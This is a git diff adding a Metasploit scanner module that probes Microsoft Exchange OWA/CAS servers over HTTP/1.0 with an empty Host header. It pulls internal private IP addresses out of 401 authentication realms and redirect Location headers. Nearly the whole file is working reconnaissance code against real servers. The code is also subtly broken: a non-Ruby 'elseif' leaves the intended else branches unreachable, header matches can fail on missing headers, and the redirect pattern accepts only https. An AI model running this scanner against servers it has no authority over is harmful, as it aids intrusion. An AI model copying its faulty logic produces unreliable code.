diff --git a/modules/auxiliary/scanner/http/exchange_iis_internal_ip.rb b/modules/auxiliary/scanner/http/exchange_iis_internal_ip.rb
new file mode 100644
index 0000000000..0f42b5a8ce
--- /dev/null
+++ b/modules/auxiliary/scanner/http/exchange_iis_internal_ip.rb
@@ -0,0 +1,113 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+    super(
+      'Name'           => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
+      'Description'    => %q{
+        This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers.
+      },
+      'Author'         =>
+        [
+          'Nate Power'
+        ],
+      'DisclosureDate' => 'Dec 17 2012',
+      'License'        => MSF_LICENSE,
+      'DefaultOptions' => {
+        'SSL' => true
+      }
+    )
+
+   register_options(
+       [
+        OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
+        OptInt.new('RPORT', [ true, "The target port", 443]),
+       ], self.class)
+  end
+
+  def run_host(target_host)
+   rhost = target_host
+   print_status("#{msg} Checking HTTP headers")
+   get_ip_extract
+  end
+
+  def get_ip_extract
+    urls = ["/Microsoft-Server-ActiveSync/default.eas",
+      "/Microsoft-Server-ActiveSync",
+      "/Autodiscover/Autodiscover.xml",
+      "/Autodiscover",
+      "/Exchange",
+      "/Rpc",
+      "/EWS/Exchange.asmx",
+      "/EWS/Services.wsdl",
+      "/EWS",
+      "/ecp",
+      "/OAB",
+      "/OWA",
+      "/aspnet_client",
+      "/PowerShell"]
+
+    result = nil
+
+    urls.each do |url|
+      begin
+        res = send_request_cgi({
+          'version' => "1.0",
+          'uri'      => "#{url}",
+          'method'   => 'GET',
+          'vhost'  =>  ''
+        }, timeout = datastore['TIMEOUT'])
+      
+      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
+        print_error("#{msg} HTTP Connection Failed")
+        next
+      end
+
+      if not res
+        print_error("#{msg} HTTP Connection Timeout")
+        next
+      end
+
+      if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
+        result = match.captures[0]
+        print_status("#{msg} Status Code: 401 response")
+        print_status("#{msg} Found Path: " + url )
+        print_good("#{msg} Found target internal IP address: " + result)
+        return result
+       elseif
+        print_warning("#{msg} No internal address found")
+        next
+      end
+
+      if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
+        result = match.captures[0]
+        print_status("#{msg} Status Code: #{res.code} response")
+        print_status("#{msg} Found Path: " + url )
+        print_good("#{msg} Found target internal IP address: " + result)
+        return result
+       elseif
+        print_warning("#{msg} No internal address found")
+        next
+      end
+    end
+
+    if result.nil?
+      print_warning("#{msg} Nothing found")
+    end
+
+    return result
+  end
+  def msg
+    "#{rhost}:#{rport} -"
+  end
+end
+